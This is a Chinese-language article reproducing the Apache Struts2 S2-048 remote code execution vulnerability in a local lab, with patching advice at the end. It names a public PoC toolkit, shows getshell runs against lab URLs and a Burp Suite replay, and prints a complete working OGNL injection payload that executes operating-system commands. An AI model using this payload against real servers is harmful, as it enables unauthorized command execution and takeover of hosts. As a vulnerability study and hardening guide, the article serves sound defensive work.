Struts2 S2-048高危漏洞復(fù)現(xiàn)!詳解幾個(gè)漏洞攻擊載荷利用的對(duì)比分析
原創(chuàng)【51CTO.com原創(chuàng)稿件】一、S2-048 漏洞綜述
1.1 漏洞背景
2017年7月7日,Apache Struts發(fā)布最新的安全公告,Apache Struts2-strus1-plugin插件存在遠(yuǎn)程代碼執(zhí)行的高危漏洞,漏洞編號(hào)為CVE-2017-9791(S2-048),主要受影響的Struts版本為:2.3.x。
攻擊者可以構(gòu)造惡意的字段值(value)通過(guò)Struts2的struts2-struts1-plugin的插件傳遞給被攻擊主機(jī),從而實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行攻擊,直接獲取遠(yuǎn)程主機(jī)的控制權(quán)限。
1.2 漏洞產(chǎn)生原因
這個(gè)漏洞主要問(wèn)題出在struts2-struts1-plugin這個(gè)插件包上。這個(gè)庫(kù)的主要作用就是將struts1的action封裝成struts2的action以便它能在strut2上運(yùn)行使用。
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函數(shù)可以調(diào)用 getText() 函數(shù),這個(gè)函數(shù)剛好又能執(zhí)行OGNL表達(dá)式,同事這個(gè) getText() 的 參數(shù)輸入點(diǎn),又可以被用戶直接進(jìn)行控制,如果這個(gè)點(diǎn)被惡意攻擊者所控制,就可以構(gòu)造惡意執(zhí)行代碼,從而實(shí)現(xiàn)一個(gè)RCE攻擊。
1.3 漏洞影響范圍
Apache Struts 2.3.x系列中啟用了struts2-struts1-plugin插件的版本都在其影響的范圍內(nèi)。
二、漏洞環(huán)境部署
2.1 漏洞環(huán)境包
本次漏洞演示,我們可以直接使用struts2.3.x環(huán)境下自帶的struts2-showcase演示demo示例環(huán)境,進(jìn)行S2-048漏洞復(fù)現(xiàn),故這里我們只介紹下struts2.3.x的環(huán)境包。(struts2-showcase 演示環(huán)境就存S2-048漏洞)
struts2.3.24環(huán)境包下載地址:http://archive.apache.org/dist/struts/2.3.24/
2.2 Tocat環(huán)境部署
工程師可以直接安裝一個(gè)XAMPP套件,其默認(rèn)就帶有tomcat的支持,可以直接拿來(lái)進(jìn)行struts環(huán)境的部署。
(1)啟動(dòng)tomcat服務(wù)
(2)Tomcat 環(huán)境訪問(wèn)
2.3 S2-048漏洞環(huán)境部署
(1)解壓struts-showcase
下載完struts2.3.24環(huán)境包后,我們直接將其“strus-showcase.war”的demo包解壓到tomcat的webapps環(huán)境目錄下(具體路徑依據(jù)個(gè)人實(shí)際環(huán)境來(lái)定,可參考下圖路徑)。
(2)重啟tomcat服務(wù)自動(dòng)部署war包
tomcat中有關(guān)war的部署比較簡(jiǎn)單,我們只需要將相關(guān)的war包放到tomcat的webapps目錄下后,重啟tomcat服務(wù)后,war包就會(huì)被自動(dòng)解壓部署。
(3)漏洞環(huán)境訪問(wèn)
本struts2-showcase demo示例中有關(guān)S2-048漏洞的觸發(fā)點(diǎn)在“Struts 1 Integration”(S1 整合)處,具體位置可參看下圖。
(4)漏洞環(huán)境驗(yàn)證
我在這漏洞出發(fā)點(diǎn)可以直接使用OGNL語(yǔ)法直接操作一個(gè)運(yùn)算 10-7,看其是否可以直接運(yùn)行并輸出結(jié)果,通過(guò)驗(yàn)證發(fā)現(xiàn)果然可以直接執(zhí)行并輸出正確的結(jié)果。
三、漏洞檢查與利用腳本
3.1 工具準(zhǔn)備
有關(guān)漏洞的檢查與利用,這里已經(jīng)收集好了相關(guān)的利用poc與腳本,相關(guān)使用方法都已經(jīng)梳理輸入如下,大家使用時(shí),可以參考使用。
(1)工具包下載地址
https://github.com/W3bSafe-Team/Struts2-048-poc
(2) POC 使用方法
(3) shell 驗(yàn)證exp
3.2 漏洞檢測(cè)
一般,我們?cè)谶M(jìn)行漏洞利用之前肯定需要進(jìn)行漏洞的檢測(cè)與確認(rèn),這里直接使用前面下載的工具包中的一個(gè)批量檢測(cè)的POC(Struts048-POC.py),用其進(jìn)行S2-048漏洞的檢測(cè),具體檢測(cè)過(guò)程如下。
(1) 創(chuàng)建一個(gè)url.txt文檔,將需要檢測(cè)的URL連接收集放入其中,這里進(jìn)行漏洞觸發(fā)點(diǎn)的檢查時(shí),我們收集了多個(gè)目錄,其中包含了struts-showcase demo目錄下的各個(gè)路徑以及部署tomcat根目錄,看看漏洞的觸發(fā)是否有規(guī)律可循。
(2) 創(chuàng)建一個(gè)臨時(shí)文檔tmp.txt,必須創(chuàng)建,否則腳本執(zhí)行會(huì)報(bào)錯(cuò)。
(3) 直接運(yùn)行此python腳本;
通過(guò)POC對(duì)各個(gè)URL進(jìn)行檢查后發(fā)現(xiàn),只要是在struts2-showcase目錄下的路徑,都可以做為漏洞觸發(fā)的利用點(diǎn),而不在此目錄下,漏洞無(wú)法觸發(fā)。(那么在這里也告訴我們有關(guān)此S2-048漏洞的修復(fù)方法,就是刪除或者禁用此目錄。)
3.3 漏洞利用復(fù)現(xiàn)
接下來(lái),我們使用網(wǎng)絡(luò)上提供的檢測(cè)腳本和抓包截?cái)嗟睦梅绞椒謩e復(fù)現(xiàn)下漏洞的利用過(guò)程。
3.3.1 shell腳本利用復(fù)現(xiàn)
利用上一個(gè)章節(jié)檢測(cè)出的三個(gè)可以利用URL,我們直接使用漏洞利用shell進(jìn)行漏洞利用復(fù)現(xiàn)。
注:由于需要使用Linux環(huán)境才能運(yùn)行shell腳本,我這里開啟了kali,并將URL中的127.0.0.1的地址替換為10.48.8.234,請(qǐng)大家在看截圖過(guò)程,希望不要有什么疑惑。
(1)URL1利用:http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action
(2)URL2利用:http://10.48.8.234:8080/struts2-showcase/integration/
(3)URL3利用:http://10.48.8.234:8080/struts2-showcase/
通過(guò)上面針對(duì)三個(gè)URL漏洞觸發(fā)點(diǎn)進(jìn)入S2-048漏洞直接getshell利用驗(yàn)證,更加嚴(yán)謹(jǐn)?shù)淖C實(shí)了只要是在showcase demo目錄下的URL路徑都可以直接被利用。
3.3.2 抓包截?cái)嗬脧?fù)現(xiàn)
如果我們仔細(xì)查看最近爆出的S2-045、S2-046、S2-048,該漏洞利用的payload 其實(shí)都是一樣的,不同的僅僅是觸發(fā)點(diǎn)不同,影響范圍不同而已。S2-045的影響方位最廣,只要是使用當(dāng)時(shí)的Struts2框架的系統(tǒng)基本都在其影響的范圍內(nèi),而后面的S2-046和S2-048漏洞的漏洞觸發(fā)點(diǎn)有一點(diǎn)的限制條件,本次S2-048漏洞的利用條件就是你在使用了 struts2-struts1-plugin插件的情況下,才會(huì)觸發(fā)漏洞的產(chǎn)生。
這里我們就復(fù)現(xiàn)下,使用與前期S2-045漏洞利用Content-type字段來(lái)傳遞攻擊payload到目標(biāo)主機(jī)的方法,來(lái)復(fù)現(xiàn)下S2-048漏洞的利用。
3.3.2.1 攻擊payload準(zhǔn)備
我直接使用前面下載的shell腳本的中的payload進(jìn)行后續(xù)的抓包截?cái)喙舻难菔緩?fù)現(xiàn)。
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
3.3.2.2 抓包截?cái)喙?/p>
- (1)第一步:首先使用burpsuite截?cái)?ldquo;http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action”訪問(wèn);
- (2)第二步:將當(dāng)前截?cái)鄶?shù)據(jù)包發(fā)送到repeater模塊,修改content-type字段為攻擊payload;
- (3)第三步:修改payload命令執(zhí)行字段為"whoami",發(fā)送攻擊包;
這里我將shell腳本中的045,046,048的payload攻擊載荷都放入burpsuite的repeater模塊進(jìn)行了重復(fù)發(fā)包驗(yàn)證,發(fā)現(xiàn)都可以利用成功,具體驗(yàn)證情況如下。
- S2045 Payload驗(yàn)證截圖
- S2046 Payload驗(yàn)證截圖
通過(guò)上面burpsuite重復(fù)發(fā)包驗(yàn)證,S2045、S2046、S2048的攻擊payload都可以對(duì)S2048漏洞進(jìn)行遠(yuǎn)程命令執(zhí)行,獲取主機(jī)的控制權(quán)限,這里我們會(huì)發(fā)現(xiàn)上半年暴露出的“S2045、S2046、S2048”攻擊載荷都是一樣的,只是漏洞的觸發(fā)點(diǎn)不同而已。
以上觀點(diǎn)僅個(gè)人漏洞復(fù)現(xiàn)利用歸納總結(jié)所得,如有什么有誤的地方,有路過(guò)的大神能給以指定,這里謝過(guò)。
四、 S2-048 漏洞修復(fù)與加固
(1)直接禁用 struts2-struts1-plugin插件;
(2)對(duì)于如果啟用 struts2-showcase 演示示例系統(tǒng),應(yīng)立即刪除本演示示例;
(3)升級(jí)當(dāng)前struts2 到最新版本;
(4)不要相信用戶端的任何數(shù)據(jù)輸入,建議開發(fā)者通過(guò)使用resource keys替代將原始消息直接傳遞給ActionMessage的方式,如:
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
漏洞學(xué)習(xí)參考
1. Struts2高危漏洞S2-048動(dòng)態(tài)分析
http://www.moonsec.com/post-776.html
2. Struts(S2-048)遠(yuǎn)程命令執(zhí)行漏洞分析
http://www.sohu.com/a/155509766_290304
3. Struts2-048 Poc Shell版本(附修復(fù)方案)
https://bbs.ichunqiu.com/thread-24504-1-1.html
https://github.com/W3bSafe-Team/Struts2-048-poc
4. Apache 官方說(shuō)明
https://cwiki.apache.org/confluence/display/WW/S2-048
【51CTO原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請(qǐng)注明原文作者和出處為51CTO.com】